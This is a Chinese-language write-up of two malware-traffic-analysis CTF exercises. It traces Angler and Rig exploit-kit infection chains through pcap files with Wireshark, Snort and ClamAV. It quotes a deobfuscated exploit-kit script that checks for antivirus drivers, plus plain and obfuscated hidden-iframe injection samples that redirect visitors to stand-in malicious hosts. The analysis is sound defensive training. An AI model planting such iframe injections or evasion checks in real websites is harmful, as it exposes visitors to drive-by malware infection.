Malware Traffic Analysis-2
流量包:链接:https://pan.baidu.com/s/19eiablrPPpCwwBi-AX18WA ,提取码:0098。
练习场景
名为Tom的小伙子在公司网上冲浪时,电脑突然宕机了,随后出现了蓝屏。在公司的网络中捕捉到这样一段流量,请你来分析一下。
分析过程
了解了背景之后,进入正题,下载题目提供的压缩包,解压后得到4个文件:
╭─kali@kali ~/c40-malware-traffic-analysis-4
╰─$ tree
.
├── malware-traffic-analysis-4.pcap
├── malware-traffic-analysis-4-snort-events.txt
└── malware-traffic-analysis-4-suricata-events.txt
其中malware-traffic-analysis-4-snort-events.txt
文件是Snort
日志文件,malware-traffic-analysis-4-suricata-events.txt
则是是Suricata日志文件。
Problem 1
What is the victim IP address?
查看malware-traffic-analysis-4-snort-events.txt
文件,发现了两条这样的记录:
[**] [1:30320:2] BLACKLIST Connection to malware sinkhole [**]
[Classification: A Network Trojan was detected] [Priority: 1]
11/24-16:16:42.076853 166.78.145.90:80 -> 10.1.25.119:49453
TCP TTL:128 TOS:0x0 ID:6775 IpLen:20 DgmLen:310 DF
***A**** Seq: 0x76295D32 Ack: 0x7F847C95 Win: 0xFF00 TcpLen: 20
[Xref => http://en.wikipedia.org/wiki/Sinkhole_Server]
[**] [1:25018:3] BLACKLIST Connection to malware sinkhole [**]
[Classification: A Network Trojan was detected] [Priority: 1]
11/24-16:16:42.076853 166.78.145.90:80 -> 10.1.25.119:49453
TCP TTL:128 TOS:0x0 ID:6775 IpLen:20 DgmLen:310 DF
***A**** Seq: 0x76295D32 Ack: 0x7F847C95 Win: 0xFF00 TcpLen: 20
[Xref => http://en.wikipedia.org/wiki/Sinkhole_Server]
流量从主机166.78.145.90
到主机10.1.25.119
,由此可知,受害主机ip为10.1.25.119
。
另一种方法,我们可以在wireshark中过滤:
http.request
过滤之后发现请求都是从ip为10.1.25.119
的主机发出的,如果再过滤http.response
,可以看到,http响应数据包的目的地地址都是10.1.25.119
,因此可以判断受害主机IP为10.1.25.119
。
Problem 2
What is the victim’s hostname?
识别主机名通常有两种方式:
- 从DHCP流量中获取主机信息
- 从NBNS流量中获取主机信息
DHCP流量数据包有助于我们识别连接网络的几乎所有类型计算机的主机;NBNS流量数据包则主要由微软Windows系统计算机或运行MacOS系统的主机生成。
过滤dhcp流量包:
选择source ip为受害主机的dhcp流量包:
得到主机名为Turkey-Tom
。
不过受DHCP租期更新频率的影响,数据包中可能没有捕获到DHCP流量包。那我们可以使用NBNS流量来识别Windows系统主机或MacOS系统主机。
而且从题目场景中我们可以知道,受害者Tom使用的是一台Windows7的笔记本。所以我们可以用nbns
来过滤数据包中的NBNS流量。
Source IP皆为受害主机IP,那选择第一条流量数据,可以看到主机名为TURKEY-TOM
。
Problem 3
What is the exploit kit name?
为了找到恶意软件,我们可以从流量中提出可疑的文件,在wireshark中,选择File->Export Objects
,提供了5种文件传输协议:
- DICOM: Digital Imaging and Communications in Medicine,医学数字成像和通信协议,DICOM是基于TCP/IP的网络协议,通过DICOM将影像设备和存储管理设备连接起来。
- HTTP: HyperText Transfer Protocol,超文本传输协议,不用多介绍,是基于TCP协议的应用程传输协议,简单来说就是客户端和服务端进行数据传输的一种规则。
- IMF:Internet Messafe Format,互联网信息格式,是文本消息在互联网上传输的格式。
- SMB:ServerMessage Block,信息器服务块,是微软和英特尔在1987年制定的协议,主要作为微软网络的通讯协议。
- TFTP:Trivial File Transfer Protocal,简单文件传输协议,是TCP/IP协议簇中一个用来再客户机与服务器之间进行简单文件传输的协议,提供不复杂,开销不大的文件传输服务。
再选择HTTP
,能够得到通过Http协议传输的文件。
有非常多的文件通过HTTP协议传输,比如图片(image/jpeg),js脚本文件(text/javascript),网页文件(text/html)等,然后选择Save All,将所有文件都保存下来,然后全部扔进 ClamAV 中进行扫描,扫描了了677个文件后,确实发现了恶意软件:
选择Anlysis
,我们可以看到可疑的文件是一个名为who(2).olp%3fsave=&effect=VFv9cHM&you=LmzXy&picture=J0sYyqN&why=Dv0ZsHPosOWnZsEC9KJ9myAYKZSGT
的文件:
在wireshark中可以看到,该文件是类型为application\x-shockwave-flash
的swf文件:
本小题中,exploit kit的名为Angler
。
除了上面这种方法以外,还可以将pcap包上传到VirusTotal扫描:
Snort和Suricata分别有47条和14条alters,查看详情:
在Snorts警报中发现了Exploit-Kit Angler。
Problem 4
What is the IP address that served the exploit?
接下来我们需要找到exploit kit的来源ip。
根据wireshark过滤出的文件,我们很容易定位到该文件对应的请求,发现该文件传输是从主机162.216.4.20
传送到受害主机上的,得到本题答案162.216.4.20
。
出了这种方法以外,我们还可以从info信息中过滤。info列是没有filter选项的,它是wireshark根据网络包内容生成的概要信息。我们可以这样过滤,首先进行搜索,Ctrl+f
,注意在前面的搜索类型中修改为String
,然后我们搜索关键词,比如who.olp
:
我们得到这样一条信息,受害主机10.1.25.119
向主机162.216.4.20
发送请求,对应的请求URI为:
http://neuhaus-hourakus.avelinoortiz.com/who.olp?save=&effect=VFv9cHM&you=LmzXy&picture=J0sYyqN&why=Dv0ZsHPosOWnZsEC9KJ9myAYKZSGT
在该条流量的不远处,能找到来自主机162.216.4.20
的响应:
packet num 10960的数据包是受害主机向162.216.4.20
发起请求,packet num为11089的数据包是主机162.216.4.20
返回恶意软件给受害主机10.1.25.119
。
Problem 5
What is the HTTP header that is used to indicate the flash version?
从上题分析中我们已经知道,packet num 11089,恶意软件所在主机返回封装在swf文件中的恶意软件给受害者,所以这个flash version也应当与该包相关,查看该数据包:
追踪该数据包的HTTP流,右键Follow->HTTP Stream
,根据上图的关键词定位到该数据包:
该响应数据包对应的请求包中,可以看到与flash version相关的请求头为x-flash-version
。
Problem 6
What is the malicious URL that redirects to the server serving the exploit?
这个问题是,Tom访问Exploit Kit的主机地址时,是从哪个URL跳转过去的?
在这里我们需要先了解一下,用户一般是怎么被Exploit-Kit(后面简称EK)感染的。
Exploit-Kit通常被攻击者利用用来感染受害用户,可能在用户浏览网站的时候,在不知不觉间,就被EK感染。EK通常托管在专用于提供EK的服务器上。而用户如何访问到这些EK?通常是通过被感染的网站发生的。攻击者首先攻击感染合法网站,向这些被感染的网站页面注入恶意脚本,这些脚本能将用户导到提供EK的服务器上。当然这些都是在用户不知情的情况下发生的。
在最简单的场景下,攻击链一般是这样的:
Compromised(legitimate) website —> EK server
除了这种最简单的情况,很多时候,攻击者还会使用另一台服务器作为被感染的站点和EK服务器之间的gate。我们通常将这种情况称为redirect,因为它将流量从一个被感染的主机重定向到了EK服务器,当存在一个gate服务器的时候,攻击链是这样的:
Compromised website —> Gate —> EK
这个gate服务器通常是另一个被感染的website。当然,也有少数情况下,这个gate是攻击者自己搭建的专用服务器。在某些情况下,在到达EK之前,可能还存在2个或是3个gate:
Compromised website —> First gate —> Second gate —> EK
好了,回到这个流量包本身,我们需要回答的问题是,受害者Tom是如何访问到EK服务器162.216.4.20
的?
无非是两种情况:第一种,Tom访问了受感染的网站,然后受感染的网站利用脚本将Tom导向EK站点;第二种,Tom访问了受感染的网站,然后通过一个或多个gate,将Tom导向EK站点。
现在我们已经知道的是IP为162.216.4.20
的站点,对应的domain为neuhaus-hourakus.avelinoortiz.com
:
http.request and ip.addr eq 162.216.4.20
我们搜索与该域名相关的流量:
ip contains neuhaus-hourakus.avelinoortiz.com
按照时间排序,我们注意到一条流量是从85.143.220.17
到受害主机的,这看起来像是一条gate相关的流量:
我们跟踪该条流量的TCP流,右键Follow->TCP Stream
:
从这条流量得知,Tom访问了IP为85.143.220.17
(域名为solution.babyboomershopping.org
)的站点,访问的URL为http://solution.babyboomershopping.org/respondents/header.js
,该站点中存在一个iframe页面,该页面嵌入了EK server的URL,使得Tom在不知情的情况下被EK server上的Exploit-Kit Angler感染。
所以,本题的答案为:
http://solution.babyboomershopping.org/respondents/header.js
Problem 7
What is The CAPEC ID corresponding to the technique used to redirect the victim to the exploit server? More info at capec.mitre.org
本题的问题是,攻击者是用什么技术将受害用户重定向到EK服务器的,它的CAPEC ID是什么?
经过Problem 6的分析,我们已经知道,攻击者在受害者访问的页面中嵌入了一个iframe,该iframe的参数为:
<iframe style="position:absolute;left:-3311px;top:-3861px;width:309px;height:326px;" src="http://neuhaus-hourakus.avelinoortiz.com/forums/viewforum.php?f=15&sid=0l.h8f0o304g67j7zl29"></iframe>
因为其位置参数设置得很夸张,所以用户根本察觉不到存在frame劫持的情况。
不过,本题问题的求的是CAPEC ID,是一种漏洞标准,全称为Common Attack Pattern Enumeration and Classification,即常见攻击模式枚举和分类。
所以,本题的答案为CAPEC-222
,对应的attack pattern即为iFrame Overlay
,属于点击劫持的一种分类。更加具体的细节可以参考:https://capec.mitre.org/data/definitions/222.html 。
Problem 8
What is the FQDN of the compromised website?
本题的问题是,受感染的网站的完全限定域名是什么?
到目前为止,我们还没有找到Tom上网时感染的源头是什么,他到底访问了什么站点导致他的主机被感染?
我们继续过滤,看看什么流量中包含gate站点:
ip contains solution.babyboomershopping.org
在一条从IP 64.34.173.208
到受害主机10.1.25.119
的流量中,包含solution.babyboomershopping.org
,跟踪该条TCP流:
由此我们得知,本题的答案,compromised website的完全限定域名为shotgunworld.com
。攻击者采用了相同的frame劫持的方法,通过iframe将受害者重定向至gate站点solution.babyboomershopping.org
,通过这个中间站点再将用户重定向至EK服务器。所以整条attack链为:
shotgunworld.com —> solution.babyboomershopping.org —> EK server
Problem 9
The compromised website contains a malicious js that redirect the user to another website. What is the variable name passed to the “document.write” function?
Hint:OX_
这道题的答案很简单,从上题追踪到的TCP Stream知道,iframe是当页面加载的时候,执行js,然后将iframe写入页面的:
所以本题的答案为OX_7f561e63
。
该流量包的分析就暂时到此为止了。
Malware Traffic Analysis-2
流量包:https://pan.baidu.com/s/1kwtP7NQvYvLQ9b82cJtIgQ ,提取码:0099。
这道题没什么场景,一上来就给了一个pcap数据包,以及几个问题,直接开始分析!
分析过程
Problem 1
What is the IP address of the Windows VM that gets infected?
首先,第一道题就是求被感染主机的IP。在没有任何场景提示的情况下,一拿到流量包就要分析,还是先送到VirusTotal上扫描,扫描结果显示这个数据包还是有点东西的,其中包括11条Snort alerts和23条Suricata alerts:
查看更详细的分析,看来受害主机是被Exploit-Kit感染了的:
既然存在木马文件,那么拖入数据包分析神器Brim看看。拖入Brim后,发现有很多files:
很容易就和Exploit-Kit联系起来,过滤出所有files流量:
_path=files
所以的destination ip全是172.16.165.165
:
在wireshark中进行过滤:
http.request
数据包源IP地址都是172.16.165.165
。也可以过滤:
http.response
得到的结果也在预料之中,目的地址都是172.16.165.165
:
得到本题答案:受害主机IP为172.16.165.165
。
Problem 2
What is the hostname of the Windows VM that gets infected?
查找主机名只要过滤出dhcp流量即可,我们选择第一条源地址为受害主机的dhcp流量:
很容易得到主机名为K34EN6W3N-PC
。当然,因为是Windows主机,还可以过滤nbns
流量来获取主机名:
Problem 3
What is the MAC address of the infected VM?
求受害主机的MAC地址很简单,只要和受害主机IP相关的流量中都能提取出该条信息,比如我们过滤:
ip.src==172.16.165.165
当然,也可以过滤ARP流量,查看发起ARP广播的相关信息:
得到本题答案:受害主机MAC地址为:f0:19:af:02:9b:f1
。
Problem 4
What is the IP address of the compromised web site?
从VirusTotal的扫描结果看,受害主机是在网上冲浪时被感染了Exploit-Kit,但是具体是怎么感染的我们还不清楚。但是从受害主机发出的http请求中,我们大概可以得到compromised website的候选站点:
分别是:
IP | Host |
---|---|
82.150.140.30 | www.ciniholland.nl |
185.53.178.9 | adultbiz.in |
188.225.73.100 | 24corp-shop.com |
37.200.69.143 | stand.trustandprobaterealty.com |
我们先从流量包中提取出恶意软件,选择File->Export Objects->HTTP
:
选择Save All
将这些文件全部提取保存在文件夹中,然后一起拖入扫描软件Clam中检查:
从该流量包中提取出了37个文件,经过Clam扫描,发现了4个恶意软件,分别选择上面的四个文件,然后选择Analysis
选项,就能逐个得到可以的源文件。最后发现是这4个可疑文件被扫描出:
index.php%3freq=swf&num=809&PHPSSESID=njrMNruDMhvJFIPGKuXDSKVbM07PThnJko2ahe6JVg%7cZDJiZjZiZjI5Yzc5OTg3MzE1MzJkMmExN2M4NmJiOTM
index.php%3freq=swf&num=7533&PHPSSESID=njrMNruDMhvJFIPGKuXDSKVbM07PThnJko2ahe6JVg%7cZDJiZjZiZjI5Yzc5OTg3MzE1MzJkMmExN2M4NmJiOTM
index.php%3freq=jar&num=3703&PHPSSESID=njrMNruDMhvJFIPGKuXDSKVbM07PThnJko2ahe6JVg%7CZDJiZjZiZjI5Yzc5OTg3MzE1MzJkMmExN2M4NmJiOTM
index.php%3freq=jar&num=9229&PHPSSESID=njrMNruDMhvJFIPGKuXDSKVbM07PThnJko2ahe6JVg%7CZDJiZjZiZjI5Yzc5OTg3MzE1MzJkMmExN2M4NmJiOTM
从中提取出关键信息:
req=swf&num=809
req=swf&num=7533
req=jar&num=3703
req=jar&num=9229
虽然不清楚这几串请求中num
参数带的数字是什么意义,但是至少我们可以知道malware的格式分别为是swf格式的flash文件和jar包:
接着从中过滤出与这四条请求相关的http流量:
ip contains "req=swf&num=809" or ip contains "req=swf&num=7533" or ip contains "req=jar&num=3703" or ip contains "req=jar&num=9229"
顺利返回4条记录,这4条记录的目的地址IP都是37.200.69.143
,对应域名为stand.trustandprobaterealty.com
:
由此我们可以知道,提供感染受害主机的Exploit-Kit是由主机stand.trustandprobaterealty.com
提供的,它就是Exploit-Kit感染链中的提供EK的主机EK server。
现在我们找到了攻击链中的最后一个设备EK server,不过本题需要找的是攻击链中的第一环节,即Compromised website。
当然我们还不知道这中间是不是存在一些gate traffic。不过在一般场景中,攻击链无非是:
Compromised(legitimate) website —> EK server
Compromised website —> Gate —> EK
Compromised website —> First gate —> Second gate —> EK
Compromised website —> First gate —> Second gate —> n… gate —> EK
我一开始的想法是看看EK server是不是还存在于其他主机与受害主机的通讯流量中,所以进行过滤:
ip contains stand.trustandprobaterealty.com
但是返回的结果表明该domain仅在受害主机和EK server之间的流量中存在:
没关系,前面我们过滤出4条与Exploit-Kit和malware相关的流量:
ip contains "req=swf&num=809" or ip contains "req=swf&num=7533" or ip contains "req=jar&num=3703" or ip contains "req=jar&num=9229"
右键追踪HTTP流,在受害主机向EK server(stand.trustandprobaterealty.com
)的HTTP请求包中,数据包请求头header中的Referer
字段是http://24corp-shop.com
,4个受害主机向EK server请求恶意软件的请求数据包的header中都包含相同的Referer字段(当然受害者自己本人大概率是不知道的,除非他要已经知道恶意站点的情况,只是进行研究):
所以我们知道了在EK server之前的gate是24corp-shop.com
,对应IP为188.225.73.100
。我们得到的额外信息是,在EK server返回的响应包中,恶意数据是通过gzip
的格式传输的。
攻击链更新为:
unknown Compromised website —> … gate —> gate [24corp-shop.com] —> EK server [stand.trustandprobaterealty.com]
过滤出24corp-shop.com
相关的http流量:
http.request and ip.addr==188.225.73.100
右键跟踪HTTP流,该请求数据包请求头中Referer
字段为http://www.ciniholland.nl
,对应IP为82.150.140.30
:
并且gate搭建了一个假的页面来欺骗访问的用户,采用的攻击方法是iframe劫持。
继续向前追溯,过滤与www.ciniholland.nl
相关的http请求:
http.request and ip.addr==82.150.140.30
选择第一条请求主站点的数据流,追踪数据流:
我们看到,同样是利用frame劫持的手段,不过该隐形iframe是通过js写入的,当文档被完全加载和解析后,就会执行showBrowVer()
函数,该函数会创建一个div
标签,然后在该标签中写入iframe,将用户重定向至gate服务器,而且为了防止此处执行showBrowVer()
失败,攻击者在页面的最后也放了相同的函数来保证用户能够被重定向至恶意软件所在的服务器:
而且从该条流量我们也能够发现,Referer
字段为http://www.bing.com/search?q=ciniholland.nl&qs=ds&form=QBLH
:
到这里,整个流量指向的事件已经很清楚了,是受害主机的用户在www.biying.com 上搜索到了一个受攻击者感染的网站,并且访问了该网站,然后该网站通过frame劫持将受害者用户重定向至24corp-shop.com
,在这个充当gate的站点中,同样存在一个不可见的iframe将用户重定向至Exploit Kit和malware存在的站点stand.trustandprobaterealty.com
,所以整个访问过程为:
Compromised website [www.ciniholland.nl] —> gate [24corp-shop.com] —> EK server [stand.trustandprobaterealty.com]
用IP地址来表示为:
82.150.140.30 —> 188.225.73.100 —> 37.200.69.143
我们得到本题的答案:82.150.140.30
。
Problem 5
What is the FQDN of the compromised website?
上一道题已经分析过,compromised website的完全限定域名为ciniholland.nl
。
Problem 6
What is the IP address of the server that delivered the exploit kit and malware?
本题求提供Exploit-Kit和malware的主机,前面第4题已经分析过了,本题答案为37.200.69.143
。
Problem 7
What is the FQDN that delivered the exploit kit and malware?
求EK server的完全限定域名,答案为stand.trustandprobaterealty.com
。
Problem 8
What is the redirect URL that points to the exploit kit (EK) landing page?
前面分析过,对http://24corp-shop.com/
相关的http流量追踪流,就能发现该页面中包含的iframe会加载EK服务器上的页面:
本题答案为: http://24corp-shop.com/ 。
Problem 9
Other than CVE-2013-2551 IE exploit, another application was targeted by the EK and starts with “J”. Provide the full application name.
在Clam中的扫描结果显示,从流量包中提取出的37个文件中包含4个malware:
其中Swf.Exploit.Rig
属于Rig组件,对应CVE-2013-2551
:
那剩余的自然是malware自然是打包后的jar包,因此本题答案为:Java
。
Problem 10
How many times was the payload delivered?
本题的问题是,payload一共被传递了几次?也就是EK server一共向受害主机发送了几次payload,过滤出EK server向受害主机发送的http流量:
http.response and ip.src eq 37.200.69.143
其中有一种类型为x-msdownload
,google之后,发现该MIME类型通常是表示一个dll类型:
而且,追踪该条数据流,我们发现了
这显然是混淆后的代码,在https://lelinhtinh.github.io/de4js/ 简单地反混淆后,得到:
var as4442 = "asd5645fsdfs6201042433028275342403746df";
function uffe45(txt) {
var gf541 = new ActiveXObject("Micros" + "oft.XM" + "LDOM");
gf541.async = true;
gf541.loadXML('<!DOCT' + 'YPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "res://' + txt + '">');
if (gf541.parseError.errorCode != 0) {
var err = "Error Code: " + gf541.parseError.errorCode + "\ n";
err += "Error Reason: " + gf541.parseError.reason;
err += "Error Line: " + gf541.parseError.line;
if (err.indexOf("-2147023083") > 0) {
return 1;
} else {
return 0;
}
}
return 0;
}
var as71 = "asdddsd76fsfs9840944044952441332557df";
function gr34s(ygr) {
var yre23 = new Date().getTime(),
c = true;
while (c) {
if ((new Date().getTime() - yre23) > ygr) {
c = false;
break;
}
}
}
for (var l = 0; l < 50; l++) {
asfgsdg = "c:\\wi" + "ndows\\syst" + "em32\\drive" + "rs\\tmac" + "tmon.sys";
asfhj65 = "c:\\win" + "dows\\syste" + "m32\\driv" + "ers\\tmco" + "mm.sys";
bsdfdfg = "c:\\wind" + "ows\\syste" + "m32\\driver" + "s\\tmev" + "tmgr.sys";
dfgdfgq = "c:\\win" + "dows\\system" + "32\\drive" + "rs\\TME" + "BC32.sys";
sdfsdhj = "c:\\wind" + "ows\\system32\\dr" + "ivers\\tmee" + "xt.sys";
fdg565f = "c:\\windo" + "ws\\syst" + "em32\\dri" + "vers\\tmnc" + "iesc.sys";
dfgdhfg = "c:\\win" + "dows\\system32\\dr" + "ivers\\tmtdi" + ".sys";
vsdfsdf = "c:\\win" + "dows\\sy" + "stem32\\drivers\\ea" + "mon.sys";
fdtfsdf = "c:\\windows\\sys" + "tem32\\drivers\\kli" + "f.sys";
uyuyrew = "c:\\win" + "dows\\system32\\dr" + "ivers\\kn" + "eps.sys";
rt5644s = "c:\\windows\\system32\\drivers\\kl" + "flt.sys";
a76f64s = "c:\\wind" + "ows\\syst" + "em32\\dr" + "ivers\\klfl" + "t.sys";
if (uffe45(asfgsdg) || uffe45(asfhj65) || uffe45(bsdfdfg) || uffe45(dfgdfgq) || uffe45(sdfsdhj) || uffe45(fdg565f) || uffe45(dfgdhfg) || uffe45(vsdfsdf) || uffe45(fdtfsdf) || uffe45(uyuyrew) || uffe45(rt5644s) || uffe45(a76f64s)) {
window.g565fss = true;
};
gr34s(20);
}
if (window.g565fss != true) {
b67da = String;
}
......
看来该流量确实是用来传递恶意payload的,所以本题的答案为:3
次。
Problem 11
The compromised website has a malicious script with a URL. What is this URL?
这道题和前面的问题其实有点重复,过滤:
http.request and ip.addr==82.150.140.30
选择第一条数据并追踪http流:
答案为http://24corp-shop.com/
。
这其实是一种常见的感染方式,称为js malware hidden-iframe,可以参考这篇文章:
https://labs.sucuri.net/signatures/malwares/js-malware-hidden-iframe-006/
hidden-iframe是很常见的一种引导用户下载恶意软件的方式。在受攻击者感染的站点页面中加入一个用户看不见的iframe,而该iframe会从第三方站点加载恶意文件,在用户毫无察觉的情况下感染他们的计算机。但是iframe代码本身是很简单的,所以稍有经验的管理员就能够发现不属于本站点的iframe存在。因此在很多情况下,攻击者会对通过js代码来注入iframe。并且在更多的时候,攻击者会对JS进行处理,比如对js代码进行混淆,这样网站管理员就很难读懂这串代码的真实意图是什么。
第一种常见的方法就是本题中使用的技术,不过这很容易被网站管理员发现:
function showBrowVer()
{
var data = browserDetectNav();
if (data[0]) {
if ((data[0] == 'Opera' || data[0] == 'MSIE' || data[0] == 'Firefox') & data[3] == 'Windows'){
var divTag=document.createElement('div');
divTag.id='dt';
document.body.appendChild(divTag);
var js_kod2 = document.createElement('iframe');
js_kod2.src = 'http://malicious-domain.com/?2';
js_kod2.width = '5px';
js_kod2.height = '3px';
js_kod2.setAttribute('style','visibility:hidden');
document.getElementById('dt').appendChild(js_kod2);
}
}
}
另外一种是对js注入iframe相关的代码进行轻微混淆:
... slightly obfuscated ...
var tds_url = 'ht' + 'tp:' + '//' + 'xx.' + 'xxx.' + 'xx.' + 'xxx' + '/';
var group = '?' + 'i' + 'd' + '=' + '1';
var charset = 'utf-8';
var referer = encodeURIComponent(document.referrer);
var url = tds_url + '/' + group + '&se_referer=' + referer + '&charset=' + charset;
document.write('<' + 'i' + 'f' + 'r' + 'a' + 'm' + 'e' + ' ' + 'w' + 'i' + 'd' + 't' + 'h' + '=' + '"' + '0' + '"' + ' ' + 'h' + 'e' + 'i' + 'g' + 'h' + 't' + '=' + '"' + '0' + '"' + ' ' + 'f' + 'r' + 'a' + 'm' + 'e' + 'b' + 'o' + 'r' + 'd' + 'e' + 'r' + '=' + '"' + '0' + '"' + ' ' + 's' + 'c' + 'r' + 'o' + 'l' + 'l' + 'i' + 'n' + 'g' + '=' + '"' + 'n' + 'o' + '"' + ' ' + 's' + 'r' + 'c' + '="' + url + '">' + '<' + '/' + 'i' + 'f' + 'r' + 'a' + 'm' + 'e' + '>');
心眼更多一点的攻击者就会对js代码进行比较复杂的混淆:
... or heavily obfuscated ...
/*fe9ee021ca8b75385556d8588e76ae28*/try{document["b"+"ody"]*=document}catch(dgsgsdg){zxc=1;ww=window;}try{d=document["createElement"]("span");}catch(agdsg){zxc=0;}try{if(ww.document)window["doc"+"ument"]["body"]="zxc"}catch(bawetawe){if(ww.document){v=window;n=["3o","4d","46","3l","4c","41","47","46","16","3p","4a",... skipped ...,"2j","2p","36","35","4c","4a","41","46","3p","1e","1f","27","d","a","4l"];h=2;s="";if(zxc){for(i=0;i-609!=0;i++){k=i;s+=String.fromCharCode(parseInt(n[i],26));}z=s;vl="val";if(ww.document)ww["e"+vl](z)}}}/*fe9ee021ca8b75385556d8588e76ae28*/
对应的js源码为:
document.write('<style>.s'+stnm+' { position:absolute; left:-'+gra(600,1000)+'px; top:-'+gra(600,1000)+'px; }</style> <div class="s'+stnm+'"><iframe src="http://malicious-domain.org/ad/feed.php" width="'+gra(300,600)+'" height="'+gra(300,600)+'"></iframe></div>')
Problem 12
Extract the two exploit files. What are the MD5 file hashes? (comma-separated )
提取出这两个恶意软件,然后计算md5值,得到的结果分别为:
Swf.Exploit.Rig : 7b3baa7d6bb3720f369219789e38d6ab
java.Malware.Agent : 1e34fdebbf655cebea78b45e43520ddf
参考
https://labs.sucuri.net/signatures/malwares/js-malware-hidden-iframe-006/